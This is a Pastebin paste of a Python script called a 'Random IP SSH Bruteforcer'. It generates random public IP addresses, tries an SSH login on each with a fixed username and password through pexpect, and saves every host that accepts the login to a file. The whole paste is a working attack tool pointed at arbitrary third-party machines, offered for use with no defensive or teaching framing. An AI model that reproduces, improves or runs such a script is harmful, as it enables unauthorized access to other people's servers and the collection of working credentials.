Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- import sys
- from pexpect import pxssh
- import threading
- import argparse
- import random
- import time
- parser = argparse.ArgumentParser(description="Random IP SSH Bruteforcer")
- parser.add_argument('-h_amt', action="store", dest="hosts", type=int, required=True, help="Set amount of hosts to try. (int)")
- parser.add_argument('-u', action="store", dest="username", type=str, required=True, help="Set static username. (str)")
- parser.add_argument('-p', action="store", dest="password", type=str, required=True, help="Set static password. (str)")
- parser.add_argument('-timoute', action="store", dest="timeout", type=int, required=True, help="Set Timeout delimiter. (int)")
- args = parser.parse_args()
- def puts(string):
- sys.stdout.write(string + "\n")
- def start_brute_seq(hosts):
- username = args.username; password = args.password
- ssh = pxssh.pxssh(timeout=args.timeout)
- for x in hosts:
- try:
- ssh.force_password = True
- if (not ssh.login(x, username=username, password=password)):
- puts("[-] Host Failed. %s" % (x))
- else:
- puts("[+] Got host! %s" % (x))
- f = open("good.out", "a").write("%s:%s:%s" % (x, args.username, args.password))
- except pxssh.ExceptionPxssh as e:
- puts("[-] Host Failed. %s | %s" % (x, str(e)))
- def generate_ip():
- hosts_to_gen = args.hosts
- final_hosts = []
- line_s = 0
- line_m = hosts_to_gen
- puts("[+] Generating %d IPs" % int(hosts_to_gen))
- while True:
- oct1 = random.randint(1, 255)
- oct2 = random.randint(1, 255)
- oct3 = random.randint(1, 255)
- oct4 = random.randint(1, 255)
- final = str(oct1) + "." + str(oct2) + "." + str(oct3) + "." + str(oct4)
- line_s += 1
- sys.stdout.write("%s Hosts Generated..\n" % (line_s))
- final_hosts.append(final)
- if (line_s == hosts_to_gen):
- puts("[+] Done Generating, Sequencing bruteforce!")
- thread = threading.Thread(target=start_brute_seq, args=(final_hosts,)).start()
- break
- generate_ip()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement